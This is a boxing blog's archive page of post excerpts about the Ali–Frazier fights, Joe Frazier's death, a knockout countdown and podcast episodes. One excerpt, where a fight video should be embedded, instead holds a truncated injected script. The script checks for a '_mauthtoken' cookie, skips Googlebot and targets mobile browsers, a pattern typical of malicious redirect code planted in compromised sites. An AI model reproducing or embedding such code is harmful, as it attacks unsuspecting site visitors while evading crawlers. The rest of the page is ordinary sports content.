After returning to boxing from his forced exile, Muhammad Ali, although only 28 at the time, had shown in his first two fights back against Jerry Quarry and Oscar Bonavena that he had lost a step from his unparalleled foot and hand speed before the layoff. This was proven to be a huge significant factor…
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This is the continuation of Robert Silva’s countdown of the greatest knockouts in boxing history. You can read his previous pieces below. 50-46 45-41 40-36 35-31 30: Wilfred Benitez Vs Maurice Hope May 23, 1981 Las Vegas, Nevada Venue: Caesar’s Palace In my soon to be 44 years of watching and following the sport of…
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Muhammad Ali Vs Joe Frazier III October 1, 1975 Quezon City, Philippines Philippine Coliseum Going into his third fight with Joe Frazier, Muhammad Ali was a huge favorite as most experts felt Frazier was a shot fighter. In retrospect, that analysis made no sense since Frazier at 31 was two years younger and had been…
Read MoreForty-one years ago today, Joe Frazier and Muhammad Ali got it on in what would be a much bigger fight than anything that could happen today. Mayweather/Pacquiao? Nah. Probably not that close either. Because of the wonders of the Internet, there is full video of the fight, which you can watch here: if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(…
Read MoreOn the latest edition of FGB Radio, not only is Jason, aka @dadrrtywhyteboi on the show to talk about UFC on Fox and UFC 138, but our old friend Tim Starks from The Queensberry Rules is on the show as well to talk about Manny Pacquiao vs. Juan Manuel Marquez III. Tim (@tqbr on Twitter)…
Read MoreJoe Frazier’s career will always be tied directly to Muhammad Ali. But Muhammad Ali didn’t make Joe Frazier. They made each other. Without one, neither’s career is remembered as fondly. Joe Frazier succumbed to liver cancer at the age of 67. Frazier’s record was 32-4-1 and his only losses were to Ali and George Foreman….
Read MoreDuan and I had a back and forth e-mail conversation about the John Dower documentary on one of the most famous fights of all time. Muhammad Ali and Joe Frazier went to the Philippines to settle their grudge in their third and most savage battle. It was dubbed the “Thrilla in Manila”. GG: Duan, after…
Read MoreTim Starks from The Queensberry Rules joined me to discuss the big fight this weekend between Manny Pacquiao and Ricky Hatton, as well as what’s next possibly for both guys. We also talk about James Kirkland and the recent documentary Thrilla In Manilla. Listen below. Right click to download.
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